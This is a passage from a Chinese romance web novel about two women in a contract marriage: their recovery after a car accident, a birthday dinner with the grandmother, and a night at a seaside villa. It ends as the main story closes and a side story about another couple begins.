她强迫自己移开视线,指腹却带着不舍的眷恋,輕輕摩挲过谢思虞泛着诱人光泽的下唇,声音低沉沙哑,眼神深处还残留着未熄的温柔火焰。 谢思虞软软地依偎在陆言卿怀里,急促的心跳尚未平复,周身力气仿佛被刚才那个吻尽数抽走。 她有些茫然地拿起中控台上持续震动的手機。 屏幕上跳动着两个字:沈母。 “卿卿?” 谢思虞下意识看向陆言卿。 陆言卿扫过屏幕,眸光漸沉,从谢思虞手中拿过手機,划开接听键,声音是谢思虞从未听过的冰冷。 “是我。人没事,司機在医院抢救。网上的舆论已经控制住了。还有事?” 听筒那头传来沈母严厉的声音。 「陆言卿,你这是什么态度?」 「出事到现在,我们联系不上你,担心你也错了吗?即然没事,为什么不能先打电话回来?你眼里还有没有我这个妈?」 陆言卿因为母亲咄咄逼人的话眉头蹙起,扭过头,视线穿透车窗玻璃,望向外面暴雨洗劫后的城市。 主干道湿漉漉的反着冷光,低洼处积着浑浊的泥水。 远处公交站牌旁,环卫工人正费力地清理着下水道口被雨水衝积堵塞的落叶和垃圾,一片狼藉。 这景象,像极了她此刻的心境。 “手机掉水里了。” 她冷冷的陈述事实。 “如果祖父在你旁边。” 她的声音压低,一字一顿清晰的砸过去,“麻烦你转告他——今晚的事,如果查出来跟二叔或者陆言昭有半点关系……” 她停顿了一瞬,眼底翻涌着森然的寒意和滔天的怒意。 “这事,没完。” 那是深不可测,能轻易吞噬一个人生命的榕江! 如果不是她中途下车去买糖炒栗子,而此刻司机还在医院抢救,没有脱离危险…… 仅仅只是这个念头闪过,一股冰冷的后怕就攥住了她的心脏,让她指尖发凉。 所以,那些人最好祈祷,这真的只是一场意外。 电话被-干脆利落地挂断。 车厢内的温度仿佛骤降了十度。 陆言卿周身散发出的冷冽气息压得人喘不过气。 方才的温情与情动好似从未出现过,只剩下紧绷的愤怒和令人窒息的压抑。 就在这时。 一只温热柔软的手,轻轻覆上了她紧握成拳,指节泛白的右手。 陆言卿微微一僵。 她转过头,撞进谢思虞清澈而担忧的眼眸里。 那目光像一泓泉水,试图融化她周身的坚冰。 谢思虞握緊了她的手,声音很轻,带着安抚人心的力量:“司机一定会没事的。” “我们回家吧。”- 晚上十点左右。 两人终于回到了江海澜苑的公寓。 玄关处暖黄的感应灯亮起,驱散了门外的黑暗与寒意。 陆言卿刚弯下腰准备换鞋,谢思虞口袋里的手机就响了——是之前派去医院守着的保镖打来的。 好消息传来:司机已经脱离危险,只是肺部呛水需要住院治疗。 “卿卿,你也淋了点雨,快先去洗个热水澡。” 谢思虞将手机放在餐桌上,她自然而然牵起陆言卿微凉的手,带着她,像引领一只倦鸟归巢,径直走向次卧的方向。 半个小时后。 谢思虞没有泡澡,只是快速冲了个热水淋浴。 她用吹風机将长发吹到半干,柔顺地披散在肩后。 换上舒适的长袖睡裙,走进厨房,站在中岛台前,正专注地冲调着两杯热气腾腾的感冒冲剂。 微苦的药香在空气中隐隐弥漫。 啪嗒—— 次卧的门开了。 谢思虞闻声歪过头,看见陆言卿穿着柔软的睡衣走出来,湿漉漉的长发被包裹在干发帽里。 暖白的灯光下,她的神情带着一絲沐浴后的松弛和不易察觉的疲惫。 “卿卿快过来。” 谢思虞朝她招手,声音温软。 虽然此刻身体没有明显不适,但淋了那场冷雨,又经历了大起大落的情绪,谢思虞担心晚些时候陆言卿会着凉,预防一下总是好的。 陆言卿径直走到谢思虞身后。 她伸出双臂,从后面轻轻地擁住了她,将下巴搁在谢思虞温热的肩窝里,整个人的重量都微微倚靠过去。 闭上眼,她深深吸了一口谢思虞发间和自己身上同样的沐浴露清香,以及那淡淡的、令人安心的橙花气息,声音闷闷地,带着丝丝疲惫:“阿虞……谢谢你。” 谢思虞微微一怔,随即明白了她这声“谢谢”里包含的所有情绪。 谢谢她的担忧,谢谢她的寻找,谢谢她此刻的陪伴与温暖。 一股难以言喻的暖流和酸涩同时涌上心头,让她的心柔软得一塌糊涂。 她转过身,后背轻轻抵着冰凉的岛台边缘。 抬起双臂,同样温柔而坚定地回抱住陆言卿,将她更緊地擁入自己怀中,用体温包裹住她微凉的身体。 两人就这样在厨房暖融的灯光下靜靜相拥。 谁也没有说话。 只有彼此的心跳和呼吸声交织在一起,缓慢而平稳。 过了好一会儿,谢思虞轻轻松开陆言卿,看着她将感冒冲剂喝完。 她才牵起她的手,将她带到主卧宽敞明亮的梳妆台前坐下。 拿起吹風机,调至柔和的暖风档,纤细的手指温柔地穿梭在陆言卿湿润浓密的发丝间,耐心为她吹干长发。 “卿卿……” 谢思虞开口嗓音带着一丝緊张,“今晚……我能和你一起睡吗?” 说完,她下意识攥緊了吹风机的线。 陆言卿擦拭头发的手微微一顿,转过身,眼底掠过一丝了然的笑意,故意拖长了尾音:“什么?” 谢思虞对上陆言卿揶揄的目光,脸颊肉眼可见的速度染上红霞,急忙解释:“就是单纯的睡觉,没有……没有其他意思。” 陆言卿将毛巾随手搭在椅背上,好整以暇地看着谢思虞羞窘的模样,唇角勾起一抹极浅的弧度:“哦?那阿虞以为……我是什么意思呢?” 她刻意放缓了语速,目光灼灼,带着洞悉一切的促狭。 谢思虞:“……” 她被问得哑口无言,只觉得脸上温度更高了。 看着眼前人红透的耳根和躲闪的眼神,陆言卿终于忍不住低笑出声。 她伸出手,温热的手掌握住谢思虞纤细的手腕,稍一用力,便将她拉向自己。 谢思虞猝不及防,轻呼一声,跌坐在陆言卿并拢的腿上。 陆言卿顺势抽走她手里还握着的吹风机,将它妥帖地放进梳妆台下的柜子里。 佯装没看见怀里人绯红的脸颊和几乎要蜷缩起来的脚趾,指尖轻轻挑起谢思虞的下巴,迫使她转过来,正对上自己的视线。 陆言卿眼底的笑意浓得化不开,像盛满了细碎的星光,声音低而哑,带着诱哄:“阿虞还没回答我呢……你以为,我是什么意思?” 谢思虞被迫撞进那双深邃含笑的眼眸里,呼吸都变得轻浅。她羞得不行,手指紧紧攥住陆言卿胸前的睡衣布料,眼睫慌乱地扑闪着,声音细若蚊呐:“我、我不知道……” 陆言卿显然不打算轻易放过这只害羞的小兔子。 她低下头,凑得更近,温热的呼吸拂过谢思虞敏感的肌肤。 一个轻柔得像羽毛的吻,落在了她微启的唇瓣上,带着无尽的温柔。 “阿虞这么聪明……” 陆言卿说话的同时,唇瓣若有似无地摩挲着谢思虞的,声音带着令人心颤的蛊惑,“肯定知道的,对不对?” 谢思虞被这温柔的“逼问”弄得心慌意乱,无处可逃。 索性心一横,倾身向前,一头扎进陆言卿的怀里,双臂紧紧环住她的腰,把滚烫的脸颊深深埋进对方散发着清香的肩颈窝里,像只鸵鸟,再也不肯抬头,也不肯说话了。 陆言卿感受着怀里温软的身体和细微的颤抖,心软得一塌糊涂。 她低低地笑了一声,不再逗她,只是收紧了手臂,将她更紧地拥在怀中。 她低下头,一个珍视的吻落在谢思虞的发顶和泛红的耳廓。 最终,陆言卿也并未做什么。她只是这样抱着谢思虞,在她唇上印下几个缱绻而安抚的吻。 然后两人相拥着躺进柔软的被褥里。 起初,身边多了一个人的体温和气息,让她们都有些陌生和不习惯,身体微微僵硬,各自的心跳在寂静的夜里清晰可闻,交织出紧张的鼓点,难以入眠。 然而,或许是怀抱太过温暖,或许是彼此的气息太过安心,那份紧绷感漸渐被一种前所未有的踏实感所取代。 困意悄然袭来,呼吸逐渐变得绵长。不知不觉间,她们便沉入了安稳的梦乡。 次日清晨,天光微熹。 陆言卿率先醒来,映入眼帘的,便是怀中人恬静的睡颜。 谢思虞依旧保持着依偎在她怀里的姿势,睡得香甜。 晨光勾勒着她柔和的轮廓,一切都静谧美好。 谁能想到她和谢思虞这场协议婚姻,竟会发展演变成这般? 她唯一能确定的是。 这样拥着她醒来的感觉。 还不赖。 甚至可以说极好。 余生有她相伴,极好。 第100章 if线-如果没有穿越时空10 要看哈…… 車祸调查最终尘埃落定, 确实是一场令人后怕的意外。 那场突如其来的暴雨狂风,卷起前方大货車上散落的编织袋,不偏不倚罩住了奔驰車的前挡风玻璃。 司机在视线长时间遮蔽的慌乱中, 才导致了后续的危险。 转眼, 国庆假期悄然而至。 謝思虞部门组织团建, 选在一家热闹的海鲜自助餐厅。 席间难免推杯换盏,謝思虞也喝了几杯,白皙的脸颊染上浅浅的绯色。 恰巧陸言卿在附近见客户, 结束工作后, 便驱車来接她。 晚上9:15。 陸言卿的保时捷稳稳停在“海鲜码头”自助餐厅门口。 她没有进去,而是拨通了謝思虞的电话。 餐厅内, 气氛融洽。 聚餐已近尾声。 謝思虞的手机铃声响起,旁邊的同事文文眼尖地瞥见了屏幕上跳动的“卿卿”二字,立刻促狭地“哇哦”一声。 拖长了声音调侃:“啧啧啧,是陸总来接我们思虞姐了吧?哎~我怎么就没有这么体贴的老婆啊。” 旁邊的女同事笑着接话:“首先,你得先有一个漂亮的女朋友。” “哈哈哈,关键是要有谢主管这样的美貌和魅力才行吧?” 另一人也笑着打趣。 同事们善意的哄笑声钻进耳朵,谢思虞的脸颊更红了, 带着微醺的娇憨。 她抿唇笑了笑, 接通电话, 声音不自觉放软:“卿卿?” 「我到了, 在门口。」 陸言卿清润的嗓音透过听筒传来。 “好,我马上出来。” 谢思虞立刻起身。 市场部总监李晓见状,适时宣布:“好啦, 今晚尽兴,大家回去注意安全。” 谢思虞刚迈步,文文和另外几个年輕同事按捺不住好奇心, 笑嘻嘻地跟在她身后,都想一睹传说中那位陆氏集团年輕副总的真容,眼睛里闪烁着八卦的光芒。 餐厅外,路邊停车位上。 陆言卿坐在驾驶座,正看着窗外餐厅门口的人流,忽然注意到谢思虞的身影,以及她身后那几个探头探脑,一脸兴奋张望的年輕人。 愣了几秒,猜到发生了什么,唇角微微扬起,将手机放在中控台上,推开车门,长腿迈出。 路灯下,她身着一条黑色赫本风连衣裙,方领完美展露出纤长白皙的天鹅颈和精致的锁骨线条。 微卷的长发慵懒地披散在肩头,隨着夜风輕轻拂动。 她站直身体,气质沉靜优雅,带着一种浑然天成的矜贵气场,瞬间吸引了所有人的目光。 “哇……” “陆总比照片上更漂亮。” 文文几人忍不住驚叹出声。 陆言卿目光越过众人,精准地落在谢思虞身上,朝她伸出手,声音溫和:“阿虞,过来。” 谢思虞在同事们羡慕又揶揄的目光中,快步走向陆言卿,很自然地将手放进她的掌心。 陆言卿握紧她的手,隨即看向那几个年轻的同事,目光溫和有礼:“大家辛苦了。旁邊有家不错的甜品店,我请大家吃冰淇淋,当餐后甜点?” “哇!谢谢陆总!” 同事们驚喜不已,欢呼着涌向了旁边的甜品店。 陆言卿为她们点好单,付了款,这才牽着谢思虞回到车上。 车门关上,隔绝了外面的喧闹。 车厢内流淌着轻柔的音乐和淡淡的橙花香氛。 陆言卿没有立刻发动车子,而是从袋子里拿过自己那份香草冰淇淋。 细腻洁白的冰淇淋球装在精致的杯子里,散发着清甜的奶香。 她用勺子舀起一小塊,递到谢思虞唇边,眼神溫柔:“尝尝?” 谢思虞眼波流转,带着微醺的迷蒙和依赖,微微倾身,就着陆言卿的手,张开嘴含住了那勺冰凉甜美的冰淇淋。 陆言卿看着她满足地眯起眼,像只餍足的猫,心尖软得不可思议。 她自己也尝了一小口,目光却始终胶着在谢思虞沾了一点冰淇淋,显得格外莹润诱人的唇瓣上。 车厢内安靜下来,只有彼此清浅的呼吸声和冰淇淋散发出的甜蜜气息。 陆言卿放下勺子,指尖轻轻抚过谢思虞的唇角,拭去那一点微凉的甜腻。 眼神深邃,下一秒,带着某种炙热的专注,缓缓靠近。 覆上那边柔软,但很快又退开。 “嗯?” 就在谢思虞以为陆言卿又要吻上来时,她只是用指腹摩挲着她的唇瓣,声音低而哑,在她唇边低语:“阿虞。” 看着谢思虞因酒意和期待而显得格外水润迷离的眼眸,终于将那句酝酿已久的情话说了出来:“你尝起来……比这香草冰淇淋,还要甜。” 说完,她再也按捺不住,低头含吮住那片比想象中更柔软的甜蜜。 这个吻带着香草的清甜和一丝未散的凉意,但很快被彼此唇齿间升腾的热度融化。 谢思虞原本就喝了点酒,微熏,现在被陆言卿无节制的索吻,肺部的空气被一点一点剥夺,心跳无序,脑袋也变得晕乎乎的。 “卿卿,我们回家好不好?” 陆言卿如愿放开怀里的人,眼底是化不开的溫柔与爱意,低头又在谢思虞额头落下轻柔的一吻:“好,回家再要阿虞。” 车窗玻璃关着。 外面看不到里面,但谢思虞的同事们从冰淇淋店出来,见她们的车还停在路边,难免想入非非。 知道妻子害羞,她自然要“体贴”。 不能让她明天去公司被同事调侃- 农历九月十六。 是谢思虞的生日。 这一天,陆言卿特意将所有工作压缩在上午处理。 结束工作她便驾车离开了陆氏集团。 傍晚六点,陆言卿的车准时停在鑫铭电器楼下。 接上谢思虞后,车子没有驶向熟悉的市中心,而是汇入车流,朝着榕城新开发区的方向开去。 大约半小时后,车子缓缓驶入一个名为“建城”的小区。 这里的楼宇不算新,但处处透着生活气息。 副驾驶上,谢思虞看着窗外越来越熟悉的景象,微微一怔。 她转过头,有些疑惑地看向陆言卿:“卿卿?我们……怎么来这儿了?” 陆言卿唇角含笑,没有立刻回答。 直到车子稳稳停在6栋2单元楼下,她解开安全带,才转头看向谢思虞,眼神温柔,认真的解释:“今天是阿虞的生日。我想了很久,也想过很多地方。” “最后还是觉得,带你来这里最合适。” 谢思虞心口涌上一股复杂的暖流。 这里,是她一年前用自己攒下的钱全款买下的小居室。 一个两室一厅,面积不大,却承载着她最初的愿望——把外婆从养老院接回来同住。 可惜老人家说什么也不愿意。 后来房子装修好,她也没有在这里住,主要是从这里到鑫铭电器,通勤单程就要近一个小时。 “走吧。” 陆言卿的声音打断谢思虞的思绪,锁了车,她牽着妻子的手往单元楼下走,“我们回家,外婆做了你最爱的菜。” “外婆?” 谢思虞的眼睛瞬间亮了,像落入了星星。 得知外婆回来了,巨大的惊喜冲散了那点复杂。 她下意识握紧了陆言卿的手,脚下的步伐也变得前所未有的轻快。 考虑到外婆年纪和腿脚,当初买房时,她特意选了二楼。 建城小区是早期的规划,没有高层住宅,最高也不过十二层。 很快,两人就站在了熟悉的公寓门前。 钥匙转动门锁,谢思虞推开门,一股诱人的食物香气扑面而来。 是清蒸魚的鲜香,还混合着家常炒菜。 小小的公寓被打扫得干净整洁,两室一厅的格局,厨房不大,但灶具齐全,窗明几净。 餐桌上已经摆好了几道家常菜,清炒时蔬、魚香豆腐、还有一碗热气腾腾的玉米排骨汤。 厨房里,外婆李姜珍正系着围裙忙碌。 她戴着厚厚的隔热手套,小心翼翼将蒸锅里装了整条魚的盘子端出来。 接着,她熟练地将炒锅烧热,倒入少许清亮的植物油,待油微微冒烟,迅速抓了一把切得细细的葱丝撒在蒸好的魚身上,然后“滋啦”一声,热油精准地淋了下去。 瞬间,葱香和鱼鲜被热油激发出来,弥漫在小小的厨房和客厅里。 “小鱼回来啦?” 李姜珍听到开门声,笑眯眯地转过头,脸上是慈爱的笑容,“快去洗洗手,马上就能开饭喽!” 十分钟后。 小小的餐桌旁,三人围坐。 “外婆,您做的清蒸鱼还是这么好吃,一点腥味都没有。” 谢思虞夹了一大塊雪白的鱼肉放进碗里,脸上是满足的笑容,仿佛回到了小时候。 “那是,你外婆的手艺,几十年练出来的。” 李姜珍又给陆言卿夹了塊鱼香豆腐,“小卿也多吃点,尝尝外婆做的豆腐。” “谢谢外婆。” 陆言卿笑着道谢,安靜地吃着。 没有山珍海味,没有奢华的布置,只有外婆亲手做的几道家常菜,热气腾腾,味道熟悉得刻在骨子里。 谢思虞吃得格外香甜,胃里暖暖的,心里更是被一种难以言喻的踏实和幸福填满。 这就是她一直渴望的“家”的味道。 饭后,三人一起收拾好厨房。 外婆擦着手,陆言卿则从冰箱里取出了一个不算很大、但非常精致的生日蛋糕。 蛋糕是清新的奶油裱花,上面用果酱写着“阿虞生日快乐”。 外面天色黯淡下来,客厅里只开了暖黄的壁灯,陆言卿将蛋糕放在茶几上,插上数字蜡烛,点燃。 小小的火苗跳跃着,映照着三个人的脸庞。 “小鱼,快,许个愿。” 外婆坐在沙发上,满眼慈爱地看着外孙女,脸上的笑容比烛光还温暖。 谢思虞看着跳动的烛光,又看看身边笑容满面的外婆,再看看目光温柔注视着她的陆言卿,心里又暖又胀,鼻子微微泛酸。 她双手合十,闭上眼睛,长长的睫毛在眼下投下一小片阴影。 几秒钟后,她睁开眼,深吸一口气,“噗”地一下吹灭了蜡烛。 今年她27岁,实现了和陆言卿在一起的愿望。 “生日快乐,阿虞/小鱼。” 外婆和陆言卿的声音同时响起。 谢思虞拿起塑料刀,小心地将蛋糕切成小块。 第一块,递给今天在厨房忙碌半天的外婆。 第二块,递给今天带给她“惊喜”的妻子。 谢思虞最后切了小块给自己,舀了一勺带着奶油的蛋糕胚送入口中,甜美的滋味在舌尖化开。 她看向陆言卿,眼睛亮晶晶的,带着点撒娇说:“卿卿买的蛋糕好甜。” 陆言卿唇角弯起,用指腹轻轻蹭掉她嘴角沾到的一点点奶油,动作自然又亲昵:“阿虞喜欢就好。” 外婆在一旁看着两人之间流动的温情,脸上的笑容更深了,布满皱纹的手轻轻拍了拍谢思虞的膝盖:“我们小鱼啊,有福气。” 往年都是她们两人,今年,变成了三个人。 不知道想到什么,李姜珍眼眶隐隐泛红,将来,就算她离开了。 小鱼也不会孤单。 她的妻子会陪伴在她左右。 两人在温馨的小公寓里陪着外婆,直到晚上十点。 看着外婆回房休息后,陆言卿轻轻扯了扯谢思虞的袖子,低下头凑到她耳边,温热的气息拂过耳廓,声音压得又低又柔:“阿虞,你困吗?” 谢思虞轻手轻脚关上外婆的房门,回头见陆言卿神神秘秘的模样,忍不住莞尔,顺着她的话轻声回:“还不困。卿卿……有什么想法?” 陆言卿握住她的手,十指紧扣,牽着她悄声走向玄关:“还想带阿虞去一个地方。” 很快,两人换好鞋,拿上钥匙和包,再次融入了夜色中。 大约四十分钟后,车子驶入一片靜谧的海滨区域,最终停在一栋极具现代风格的四层别墅前。 “这里是?” 深夜的海边万籁俱寂,只有海浪拍打沙滩的声音,更显得空旷而安宁。 谢思虞推开车门下车,带着一丝好奇打量着眼前这栋月光下的建筑。 庭院里亮着暖黄的景观灯。 右側墙脚下,一丛丛杜鹃在灯光下枝叶繁茂。 左側,一个精致的铁艺吊椅静静悬挂,而吊椅上,赫然摆放着一大束娇艳欲滴的粉色戴安娜玫瑰。 陆言卿绕过车头,拿起那束精心准备的玫瑰,走到谢思虞面前。 月光洒在她身上,能清晰看到她眼中的温柔与郑重。 她将花束捧到谢思虞眼前:“这栋别墅,是爷爷送给我的成年礼。” “阿虞,生日快乐。” “过去的时光,我未能陪伴在你身边,但未来的每一天,我都会在。” 谢思虞接过那束带着清香的玫瑰,漂亮的杏眼里瞬间盈满了薄薄的水光。 今晚陆言卿给予的感动,一件接着一件,如同海浪般冲击着她的心防,那些被小心翼翼压抑在心底的情愫,汹涌得几乎要破闸而出。 她开口,嗓音带着微微的哽咽:“谢谢你,卿卿,花很美,我……很喜欢。” 陆言卿的指尖带着怜惜,轻柔地拭去谢思虞眼角溢出的晶莹泪珠,既心疼又觉得可爱:“阿虞最近怎么变得这么爱哭?这样就感动了?那接下来的……可怎么办呢?” 在谢思虞带着泪意和疑惑的目光中,陆言卿牵起她的手,走进了别墅。 她们穿过安静的大厅,来到一楼右側的琴房。 陆言卿早已让阿姨提前打扫干净,尤其是这间琴房。 今夜月光格外慷慨,皎洁明亮,透过整面落地窗玻璃倾泻而入,像流动的银色细沙,温柔地铺满了房间,也洒落在房间中央那架黑色三角钢琴上,为它镀上了一层朦胧的光晕。 “卿卿是……要弹琴吗?” 看到那架在月光下熠熠生辉的钢琴,谢思虞的心跳漏了一拍,下意识地转头看向陆言卿。 陆言卿牵着她走到钢琴前,微笑着点头:“嗯。阿虞有特别想听的曲子吗?” 虽然很久没弹有些生疏,但她为了今晚,已经断断续续练习了一周,找回了熟悉的感觉。 谢思虞的眼睛在月光下亮得惊人,她伸出指尖,轻轻按下一个琴键。 “叮——” 清脆悦耳的音符在寂静的房间里跳跃开来。 她笑着,将头轻轻靠在陆言卿的肩膀上,声音满是信赖和甜蜜:“只要是卿卿弹的,都可以。” 陆言卿便在琴凳上坐下,也示意谢思虞坐在她身旁。 修长的手指落在黑白琴键上,一首德彪西的《月光》(Clair de Lune)从她指尖缓缓流淌而出。 琴声温柔,宁静,带着月光般的诗意和朦胧的爱意。 接着,她又弹了一首更轻快甜蜜的曲子。 “阿虞想试试吗?” 两曲终了,陆言卿侧头,含笑看着身边听得入迷的人。 谢思虞有些不好意思地摇头:“我不会……” “没关系,我教你。” 陆言卿的声音温柔得能滴出水来。 她换了一首极其简单的《小星星》,然后轻轻握住了谢思虞的手,引导着她的指尖,一个音符一个音符地耐心教她按下去。 她的掌心包裹着谢思虞的手背,身体微微靠近,气息就萦绕在谢思虞的耳畔和颈侧。 “对,就是这样……食指再抬高一点,阿虞真棒。” 温柔的低语和偶尔的鼓励,伴随着断断续续,充满欢乐的简单旋律,在月光弥漫的琴房里轻轻回荡。 不知不觉,一个小时就在这温馨专注的教学中悄然溜走。 陆言卿瞥了一眼腕表,还有二十分钟,就是崭新的一天。 就在谢思虞专注于下一个音符时,她停下了所有动作。 侧过身,凑到谢思虞耳边。 温热的唇瓣几乎贴上了那小巧敏感的耳垂,用只有两人能听到的气声低语:“阿虞……” “我爱你。” 这突如其来直击灵魂的告白,让谢思虞浑身一颤,猛地转过头。 下一秒,所有的回应都被陆言卿炙热的吻堵了回去。 这个吻不再像在院子里那般轻柔试探,而是带着渴望和急切,汹涌而深入。 陆言卿一手紧紧环住谢思虞纤细的腰肢,另一只手扣住她的后脑,温柔引导着怀中的人微微向后。 谢思虞被吻得浑身发软,意识迷离,顺从地被那力道带着,后背轻轻抵在了冰凉的钢琴琴键边缘。 “嗯……” 一声模糊的轻吟从纠缠的唇齿间逸出。 就在两人身体重心变化的瞬间,谢思虞的手肘无意中压到了身后的琴键。 “咚——嗡——” 一声低沉而突兀的琴音骤然响起,打破了室内的静谧,带着微妙的共鸣在房间里回荡。 这意外的声响让两人都微微一顿,随即,陆言卿的吻变得更加火热,好似这不合时宜的琴音点燃了她心底更深的渴望。 她将谢思虞更紧地压在钢琴上,加深了这个吻,辗转吮吸,探索着她口中的每一寸甜蜜。 “卿卿,轻点……” 谢思虞完全迷失在这汹涌的情潮里,双臂无意识地攀上陆言卿的脖颈,生涩而热烈地回应着。 寂静的琴房里,只剩下两人急促交织的喘息声,唇舌纠缠的暧昧水声,以及偶尔因身体无意的触碰或挤压而引发的不成调的,低沉的钢琴嗡鸣。 月光依旧静静地流淌,笼罩着钢琴前这抵死缠绵,满室生香的一对璧人。 空气中弥漫着玫瑰的余香。 还有一种令人脸红心跳且甜蜜至极的暧昧。 次日清晨。 谢思虞悠悠转醒,只觉得浑身骨头像是被拆过一遍,酸软得使不上半分力气。 身侧的位置空着,早已没了陆言卿的温度。 她伸手摸过床头柜上的手机,眯着眼一看——09:45。 撑着胳膊,慢慢从床上坐起身。这个简单的动作却牵扯到大腿根深处隐秘的酸胀和丝丝缕缕的刺痛,让她忍不住轻轻“嘶”了一声。 昨晚她由着陆言卿予取予求,从琴房到卧室沙发……想到那些画面,特别是此刻目光触及那张沙发,一股强烈的羞赧瞬间冲上脸颊,烫得惊人。 她裹紧睡裙外的薄披肩,忍着身下的不适,慢慢挪下床,穿上拖鞋。 每走一步,腿间的酸软和隐秘处的不适,都提醒着她昨夜的放纵。 她一边往浴室走,一边在心里暗暗发誓:下次,下次一定不能再由着她胡来了。 可心底另一个声音又小声反驳:真的能拒绝吗? 面对那样的陆言卿,她怕是……永远也狠不下心。 “阿虞醒了?饿不饿?” 陆言卿推门进来,目光扫过空荡荡的大床,随即转向浴室方向,正好看到谢思虞从里面走出来。 刚洗过脸,她额前的几缕碎发湿漉漉地贴在光洁的皮肤上,脸颊还带着未散尽的薄红。 “今天帮你请好假了。” 陆言卿的声音格外温柔,手里端着一个托盘,上面放着热气腾腾的小米粥和一份香软可口的三明治。 托盘放在沙发前的矮几上,然后快步走向谢思虞,伸出手想去牵她,“先吃点东西?” 谢思虞微微侧身,避开了她的手。 陆言卿的手顿在半空,愣了一下,随即反应过来。 看着谢思虞微蹙的眉头和略显别扭的姿态,她眼底顿时漫上心疼和真切的歉意。 她抿了抿唇,声音低低的,带着十足的诚恳:“阿虞……都怪我不好。” 她走近一步,目光紧紧锁着谢思虞,“是你太美好,我……没能收住。下次我一定注意分寸,好不好?” 谢思虞没应声,自顾自地走到矮几旁。 然而,当视线再次不经意扫过那张米色沙发时,昨夜那些让人脸红心跳的画面再次涌入脑海,目光像被烫到一般迅速移开。 她扶着矮几边缘,小心翼翼地跪坐在软垫上,尽量避开身体的不适点。 就在这时,身后传来温暖的体温。 陆言卿靠了过来,从后面轻轻环抱住她的腰,下巴亲昵地搁在她肩上。 那怀抱带着满满的安抚和认错的味道,声音也软得不像话:“都是我的错……阿虞要是还生气,骂我几句,或者打几下出出气?” “我保证不躲,也不还手。” 谢思虞被她这样抱着,听着她软语哄劝,心里的那点小委屈和恼意早就散了大半。 她稍稍仰起头,正好撞进陆言卿低垂的眼眸里——那里面盛满了心疼和自责,像做错事等待主人原谅的大狗狗。 最后一丝不快也烟消云散了。 她抬起手,带着点嗔怪,又带着点说不出的亲昵,控制着力道,轻轻捏了捏陆言卿挺直的鼻梁,小声咕哝道:“卿卿最好说话算话,下次……真的要轻一点……” 陆言卿闻言将谢思虞更紧地拥在怀里,低头,在她唇瓣上亲了一口。 额头轻轻抵着她的额头,感受着彼此温热的呼吸交融。 她看着谢思虞近在咫尺的容颜,还有那盛满自己身影的眼眸,声音低沉而温柔:“阿虞……” 她低语,带着无尽的宠溺,“你怎么能这么可爱呢?” “我好爱你。真的……好爱你。” 是的。 陆言卿爱谢思虞。 爱她的温柔娴静,也爱她的害羞娇嗔;爱她的冷静克制,更爱她只在自己面前流露的依赖与柔软。 这份爱意如此汹涌,如此深刻。 陆言卿无比清晰地意识到,她这辈子,是真真正正、彻彻底底地栽在怀里这个人身上了。 而她,心甘情愿。 沉溺其中,甘之如饴。 【全文完结】 第101章 沈砚清VS温月晗 回N市我就会结婚 宏悦佳苑。 沈硯清把車停稳, 熄了火。 从陆氏集团回来,路过那家老字号点心铺时,鬼使神差就踩了刹車。 铺子里暖黄的灯光和甜香的气息, 讓她想起那天晚上在陆言卿的海滨别墅, 溫月晗窝在沙发里, 小口小口吃着蝴蝶酥的样子。 她下车,买了两份招牌:板栗饼和蝴蝶酥。 拎着点心上楼,走到熟悉的1302门前, 习惯性地抬手敲了敲。 指节敲在门板上的声音讓她猛地一愣——这是她家。 沈硯清有些自嘲地耸了下肩, 低头在包里翻找钥匙。 钥匙剛插进锁孔,还没来得及拧, 门就从里面开了。 玄关暖融融的光线下,溫月晗站在那里。 简单的白色衬衫,黑色休闲裤,长发松松地半挽着。 即使素面朝天,穿着最家常的衣服,那份溫婉优雅的气质也像是从骨子里浸润出来,丝毫不减。 “回来了。” 她的声音如同羽毛拂过心尖。 “嗯。” 沈硯清低低应了一声, 侧身进门, 帶上门, 弯腰换鞋。 换好拖鞋直起身, 发现溫月晗还站在一旁,那双总是含着温柔笑意的眼睛,此刻正专注地看着她。 沈硯清的心口毫无预兆地漏跳了一拍, 随即涌上一丝莫名的慌乱。 她下意识避开那目光,找了个最寻常的话题:“你……中午吃的什么?” 原本,温月晗是该和温月怡一起回N市的。 可偏偏在那个混乱又绮丽的酒店夜晚之后, 她選择留在了榕城。 然后,就这么“擅自”,帶着讓人无法拒绝的理由,找到了她家,让她“收留”。 “看你冰箱里有速冻饺子,就煮了一点。” 温月晗坦然解释,也帶着点小小的无奈。 她不会做饭,也不愿出去,那袋冻饺子就成了唯一的選择。 沈砚清怔了一下。 冷冻室角落里那袋饺子,她自己都快忘了。 速冻饺子能有什么好味道? 堂堂温家大小姐不回自己的豪华别墅,跑到她这小公寓来“受委屈”? 心头泛起一丝说不清的滋味,有点涩,又有点软。 她轻轻叹了口气,把手里的点心袋子递过去:“餓了吧?先垫垫肚子。” 想了想,看着对方温婉的侧臉问,“我去楼下超市买点菜?或者……你想出去吃?” 温月晗接过袋子,拿出其中一个盒子,打开,浓郁的奶香帶着甜意飘散开来。 是蝴蝶酥。 她确实餓了,捏起一塊小巧的酥饼,指尖沾上一点糖粒。 听到沈砚清说要下楼买菜,她那双温润的眸子似乎亮了一下,随即飞快地说道:“不去外面,就在家里吃。” 她咬了一小口蝴蝶酥,声音含着食物和笑意,听起来格外软糯,“你等等我。” 说完就往次卧方向走。 沈砚清抿了抿唇,没再说什么,只是乖乖走到餐厅桌邊等着。 顺手从袋子里拿出另一盒板栗饼,掰开一小塊。 软糯的内馅和酥皮在口中化开,甜度剛好。 没过几分钟,次卧门开了。 温月晗走出来,衣服没换,只是把散落的发丝全部挽起,松松地扎了个低马尾,露出光洁的额头和优美的脖颈,更添几分居家温婉。 “我陪你一起去买菜。” 她走到沈砚清身邊,自然地挽了下耳边的碎发。 沈砚清扭头看了眼阳台外,夕阳的余晖把天空染成了温柔的橘粉色。 “走吧。” 她拿起钥匙,声音不自觉放轻了些。 两人一前一后走出公寓楼。 傍晚的风带着一丝凉爽拂过。 小区门口的24小时超市灯火通明,货架上琳琅滿目。 “想吃什么?” 沈砚清推了辆购物车,侧头问身边的温月晗。 超市明亮的白光下,她素净的侧臉顯得格外柔和。 温月晗的目光扫过新鲜的蔬菜区,唇角含着温柔的笑意:“之前听月怡说,砚清的厨艺特别好。” 歪头看向沈砚清,眼底带着纯粹的欣赏和期待,“今晚我有口福了,就做你的拿手菜吧,我都喜欢。” 这句“我都喜欢”让沈砚清的心跳莫名快了几分。 她没说话,只是推着车,脚步放缓了一些。 在生鲜区,她仔细挑了一条鲜活的多宝鱼,又选了几块纹理漂亮的排骨。 